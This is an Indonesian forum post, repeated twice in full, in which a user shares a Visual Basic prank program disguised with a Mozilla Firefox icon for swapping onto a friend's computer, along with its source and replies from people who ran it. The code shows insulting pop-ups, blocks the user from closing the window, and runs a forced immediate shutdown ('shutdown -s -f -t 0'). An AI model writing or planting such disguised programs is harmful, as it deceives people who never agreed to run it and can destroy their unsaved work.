ps3black
27th May 2012, 07:06 PM
ASSALAMUALIKUM AGAN2
ane cuman mau share
program jail buatan ane
jadi icon program nya ane ganti
pake mozilla firefox,
nanti nanti mozilla temen ente
ganti aja pake program dari ane..
dijamin temen ente syok :ngakak:
jadi program nya
akan menampilkan pertanyaan :
"APAKAH ANDA MERASA TAMPAN ?" :ngakak:
kayak gini gan......
[/spoiler] for Program nya:
http://img845.imageshack.us/img845/4701/hackeme.jpg (http://imageshack.us/photo/my-images/845/hackeme.jpg/)
Uploaded with ImageShack.us (http://imageshack.us)
pas di klik "ya, betul" akan keluar kata2 kocak wkwkw
:ngakak:
ane jamin program nya gak bahaya kok gan..
cuman shutdown aja..:ngakak:
dan buat kaget temen ente,, haha :ngakak:
yang dateng cuman download
dan gak komen
ane anggep :homo: :homo: :homo:
yang mau download nih link nya :
cuman 200kb kok gan, kecill http://static.kaskus.co.id/images/smilies/iloveindonesias.gif
for Download gan:
Mozilla Firefox palsu - indo*web*ster...com (http://www.indo*web*ster...com/mozilla_firefox_palsu.html)
note : hapus tanda (*) di link nya sebelum men-download.
yang mau source code nya :
[spoiler=open this] for source code gans:
Dim text As String
Private Sub Form_Load()
text = " Tes Penampilan"
End Sub
Private Sub Timer1_Timer()
A = Left(text, 1)
C = Len(text)
B = Right(text, C - 1)
text = B + A
Form1.Caption = text
End Sub
Private Sub Command1_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "NAFAS ANDA BAU SEKALI !!"
MsgBox "DAN MUKA ANDA AMBURADUL !!"
MsgBox "JANGAN DURHAKA KEPADA ORANG TUA !"
MsgBox "KAMI ADALAH HACKER INDONESIA !"
MsgBox "YANG HANYA INGIN MENERUSKAN CITA-CITA BANGSA !!"
Shell "shutdown -s -f -t 0"
End Sub
Private Sub Command2_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "MUKA ANDA ANCUR SEKALI YAH !! ?"
MsgBox "MUKE LO DI DEMPUL AJE BOS !!!"
MsgBox "KARENA MUKA ANDA TIDAK ENAK DILIHAT !!! "
MsgBox "SYSTEM ERROR"
MsgBox "GARA-GARA MUKA ANDA !"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim answer As Integer
answer = MsgBox("Apakah anda yakin akan keluar dari program?", vbQuestion + vbYesNo, "Confirmation")
If answer = vbYes Then Cancel = -1
MsgBox "Anda tidak dapat keluar sebelum menjawab pertanyaan kami"
If answer = vbNo Then Cancel = -1
MsgBox "Silahkan jawab pertanyaan kami"
End Sub
Private Sub nama_Click()
MsgBox "Hacked by Bloggerry Aka HACKER"
End Sub
Private Sub versi_Click()
MsgBox "Ver 1.00.2012 Rev-A"
End Sub
proram ini ane ciptakan
hanya untuk hiburan semata http://static.kaskus.co.id/images/smilies/iloveindonesias.gifhttp://static.kaskus.co.id/images/smilies/iloveindonesias.gif
Kalo agan suka sama program buatan ane
mohon di RATE *****
kalo program ini bermanfaat buat agan
Ane juga ikhlas nerima :melonndan: :melonndan: :melonndan: dari agan2
kesaksian yg udah coba :ngakak: :
[/quote]
Originally Posted by delly1983
http://static.kaskus.co.id/images/buttons/viewpost.gif (http://www.ceriwis.us/showthread.php?p=651308984#post651308984)
Anjir...Ane uda coba gan.awalnya ane :ngakak: aja liat pertanyaannya,tapi gara2 shutdown ane sempet syok juga.pas dinyalain lagi ternyata ga ada efek apa2.
lumayan juga ni buat ngerjain temen2 ane,trima kasih gan uda ngasih bahan buat ane.:shakehand:
ane bantu :rate5 dan :sundul::sundul::sundul: aja ya...maklum masih newbi.
[quote]
Originally Posted by miku12
http://static.kaskus.co.id/images/buttons/viewpost.gif (http://www.ceriwis.us/showthread.php?p=694688786#post694688786)
Blogerry!!
Y U NO BRAINS??? http://static.kaskus.co.id/images/smilies/sumbangan/004.gifmatabelo
btw nice share gan, ane juga demen kesel sih kalo ad temen ane yang kerumah ane lapor ma ortu alasan "bikin PR" ato "kerja klp" :sorry:
pas dah nyampe, duduk d depan kompi ane, taruh tas yang isinya cuma pensil, kertas kosong, dan pensil warna buat gambar :ngakak::ngakak:
buka mozila, buka FB, buka big business (ngetrend amat ni game di kelas ane :cd: jelek amat ya level game ababil sekarang :ngakak:)
sementara ane yang owner nonton dia main :sorry::sorry:
dengan adanya karya ente di kompi ane, SELAMAT !!! ente adalah penerus bangsa :loveindonesia
hahaha thanks gans.. :ganteng:
</div>
ane cuman mau share
program jail buatan ane
jadi icon program nya ane ganti
pake mozilla firefox,
nanti nanti mozilla temen ente
ganti aja pake program dari ane..
dijamin temen ente syok :ngakak:
jadi program nya
akan menampilkan pertanyaan :
"APAKAH ANDA MERASA TAMPAN ?" :ngakak:
kayak gini gan......
[/spoiler] for Program nya:
http://img845.imageshack.us/img845/4701/hackeme.jpg (http://imageshack.us/photo/my-images/845/hackeme.jpg/)
Uploaded with ImageShack.us (http://imageshack.us)
pas di klik "ya, betul" akan keluar kata2 kocak wkwkw
:ngakak:
ane jamin program nya gak bahaya kok gan..
cuman shutdown aja..:ngakak:
dan buat kaget temen ente,, haha :ngakak:
yang dateng cuman download
dan gak komen
ane anggep :homo: :homo: :homo:
yang mau download nih link nya :
cuman 200kb kok gan, kecill http://static.kaskus.co.id/images/smilies/iloveindonesias.gif
for Download gan:
Mozilla Firefox palsu - indo*web*ster...com (http://www.indo*web*ster...com/mozilla_firefox_palsu.html)
note : hapus tanda (*) di link nya sebelum men-download.
yang mau source code nya :
[spoiler=open this] for source code gans:
Dim text As String
Private Sub Form_Load()
text = " Tes Penampilan"
End Sub
Private Sub Timer1_Timer()
A = Left(text, 1)
C = Len(text)
B = Right(text, C - 1)
text = B + A
Form1.Caption = text
End Sub
Private Sub Command1_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "NAFAS ANDA BAU SEKALI !!"
MsgBox "DAN MUKA ANDA AMBURADUL !!"
MsgBox "JANGAN DURHAKA KEPADA ORANG TUA !"
MsgBox "KAMI ADALAH HACKER INDONESIA !"
MsgBox "YANG HANYA INGIN MENERUSKAN CITA-CITA BANGSA !!"
Shell "shutdown -s -f -t 0"
End Sub
Private Sub Command2_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "MUKA ANDA ANCUR SEKALI YAH !! ?"
MsgBox "MUKE LO DI DEMPUL AJE BOS !!!"
MsgBox "KARENA MUKA ANDA TIDAK ENAK DILIHAT !!! "
MsgBox "SYSTEM ERROR"
MsgBox "GARA-GARA MUKA ANDA !"
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim answer As Integer
answer = MsgBox("Apakah anda yakin akan keluar dari program?", vbQuestion + vbYesNo, "Confirmation")
If answer = vbYes Then Cancel = -1
MsgBox "Anda tidak dapat keluar sebelum menjawab pertanyaan kami"
If answer = vbNo Then Cancel = -1
MsgBox "Silahkan jawab pertanyaan kami"
End Sub
Private Sub nama_Click()
MsgBox "Hacked by Bloggerry Aka HACKER"
End Sub
Private Sub versi_Click()
MsgBox "Ver 1.00.2012 Rev-A"
End Sub
proram ini ane ciptakan
hanya untuk hiburan semata http://static.kaskus.co.id/images/smilies/iloveindonesias.gifhttp://static.kaskus.co.id/images/smilies/iloveindonesias.gif
Kalo agan suka sama program buatan ane
mohon di RATE *****
kalo program ini bermanfaat buat agan
Ane juga ikhlas nerima :melonndan: :melonndan: :melonndan: dari agan2
kesaksian yg udah coba :ngakak: :
[/quote]
Originally Posted by delly1983
http://static.kaskus.co.id/images/buttons/viewpost.gif (http://www.ceriwis.us/showthread.php?p=651308984#post651308984)
Anjir...Ane uda coba gan.awalnya ane :ngakak: aja liat pertanyaannya,tapi gara2 shutdown ane sempet syok juga.pas dinyalain lagi ternyata ga ada efek apa2.
lumayan juga ni buat ngerjain temen2 ane,trima kasih gan uda ngasih bahan buat ane.:shakehand:
ane bantu :rate5 dan :sundul::sundul::sundul: aja ya...maklum masih newbi.
[quote]
Originally Posted by miku12
http://static.kaskus.co.id/images/buttons/viewpost.gif (http://www.ceriwis.us/showthread.php?p=694688786#post694688786)
Blogerry!!
Y U NO BRAINS??? http://static.kaskus.co.id/images/smilies/sumbangan/004.gifmatabelo
btw nice share gan, ane juga demen kesel sih kalo ad temen ane yang kerumah ane lapor ma ortu alasan "bikin PR" ato "kerja klp" :sorry:
pas dah nyampe, duduk d depan kompi ane, taruh tas yang isinya cuma pensil, kertas kosong, dan pensil warna buat gambar :ngakak::ngakak:
buka mozila, buka FB, buka big business (ngetrend amat ni game di kelas ane :cd: jelek amat ya level game ababil sekarang :ngakak:)
sementara ane yang owner nonton dia main :sorry::sorry:
dengan adanya karya ente di kompi ane, SELAMAT !!! ente adalah penerus bangsa :loveindonesia
hahaha thanks gans.. :ganteng:
</div>